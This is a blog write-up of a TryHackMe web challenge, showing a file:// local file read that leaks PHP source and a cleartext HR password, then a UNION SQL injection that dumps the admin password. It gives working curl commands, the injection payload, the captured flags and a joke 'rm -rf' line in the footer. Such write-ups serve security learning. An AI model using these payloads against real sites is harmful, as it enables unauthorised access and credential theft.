Recruit - TryHackMe CTF Write-Up

· prosetesting's blog

TryHackMe Recruit: file:// LFR leaks source and HR creds, then UNION SQLi on the candidate search dumps the admin password. SSRF to SQLi chain.

Table of Contents

Recruit - TryHackMe CTF Write-Up #

🏴 Platform: TryHackMe
🔬 Category: Web
🟠 Difficulty: Easy/Medium
📅 Date: 2026-06-13
✍️ Author: t0nt0n
⏱️ Reading time: ~5 min

Capstone of the "Web Application Vulnerabilities I" path. The goal: foothold as a normal user, then escalate to admin. Two flags. The challenge chains a broken SSRF/LFR filter into a UNION-based SQL injection.

Reconnaissance #

Target: http://10.128.177.148/. Apache/2.4.41 (Ubuntu), PHP, PHPSESSID cookie.

The home page is a login form (POST username/password) with a footer link to api.php.

api.php is a FAQ that hands over the attack surface for free:

That is an SSRF endpoint announced in the documentation. file.php with no parameter returns Missing cv parameter.

Rabbit Holes #

The cv= filter looks like a classic SSRF at first, so the obvious moves all fail:

The FAQ about HTTP/HTTPS support is a red herring. The filter does not care about SSRF host tricks: it only accepts a file:// prefix. The "restricted locations" hint points at a path allowlist, not an IP blocklist.

Also note the admin login path is a dead end for injection: index.php uses a prepared statement for the admin user, so the password check there is not injectable. The credential has to come from somewhere else.

Recruit login page intercepted in Burp

Exploitation #

1. Arbitrary local file read via file:// #

Only one scheme passes the prefix check, and it gives a local file read:

1T=http://10.128.177.148
2curl -s -G "$T/file.php" --data-urlencode "cv=file:///var/www/html/file.php"

The leaked file.php source explains the filter:

1if (strpos($cv, 'file://') !== 0) { die('Only local files are allowed'); }
2$filePath  = str_replace('file://', '', $cv);
3$realPath  = realpath($filePath);
4$allowedBase = '/var/www/html';
5if ($realPath === false || strpos($realPath, $allowedBase) !== 0) {
6    die('Access denied');
7}
8echo file_get_contents($realPath);

So: must start with file://, and realpath() must stay under /var/www/html. That blocks /etc/passwd and /var/www/db.php (Access denied), but the entire web root is readable.

2. Source disclosure leaks HR credentials #

Dumping config.php:

Reveal leaked config
1$HR_PASSWORD = 'hrpassword123';   // "temporary" cleartext HR password

And index.php reveals the matching username is hardcoded as hr:

1if ($username === "hr" && $password === $HR_PASSWORD) {
2    $_SESSION['user'] = 'hr'; $_SESSION['role'] = 'hr';
3    header('Location: dashboard.php');
4}

3. Foothold as HR (user flag) #

1curl -s -c j -b j -d "username=hr&password=hrpassword123&login=1" "$T/index.php"
2curl -s -c j -b j "$T/dashboard.php"

The dashboard renders the HR flag plus a candidate table and a ?search= form.

4. UNION SQLi on the search field (admin password) #

The dashboard.php source shows the search is concatenated raw, and SQL errors are echoed back:

1$search = $_GET['search'];
2$query  = "SELECT * FROM candidates WHERE name LIKE '%$search%'";

candidates exposes 4 columns (id, name, position, status). The admin password lives in a separate users table that the prepared-statement login reads from. Pull it with a UNION:

1PAY="' UNION SELECT 1,username,password,4 FROM users-- -"
2curl -s -b j -G "$T/dashboard.php" --data-urlencode "search=$PAY"

Result row:

Reveal dumped admin credentials
admin : admin@001admin

Column count was confirmed by the successful UNION (MySQL errors on a column mismatch, and errors are displayed here). Black-box, the rigorous way is ' ORDER BY N-- - incrementing until "Unknown column", or UNION SELECT NULL,NULL,....

5. Escalate to admin (admin flag) #

1curl -s -c a -b a -d "username=admin&password=admin@001admin&login=1" "$T/index.php"
2curl -s -c a -b a "$T/dashboard.php"

The admin dashboard prints the admin flag.

Flag #

Reveal Flag (normal user)

THM{LOGGED_IN_USER}

Reveal Flag (admin)

THM{LOGGED_IN_ADM1N1}

Tools Used #

Lessons Learned #

last updated:
⬛⚪⬛
⬛⬛⚪  ☠ user
⚪⚪⚪  rm -rf /ignorance && echo 42 > /dev/brain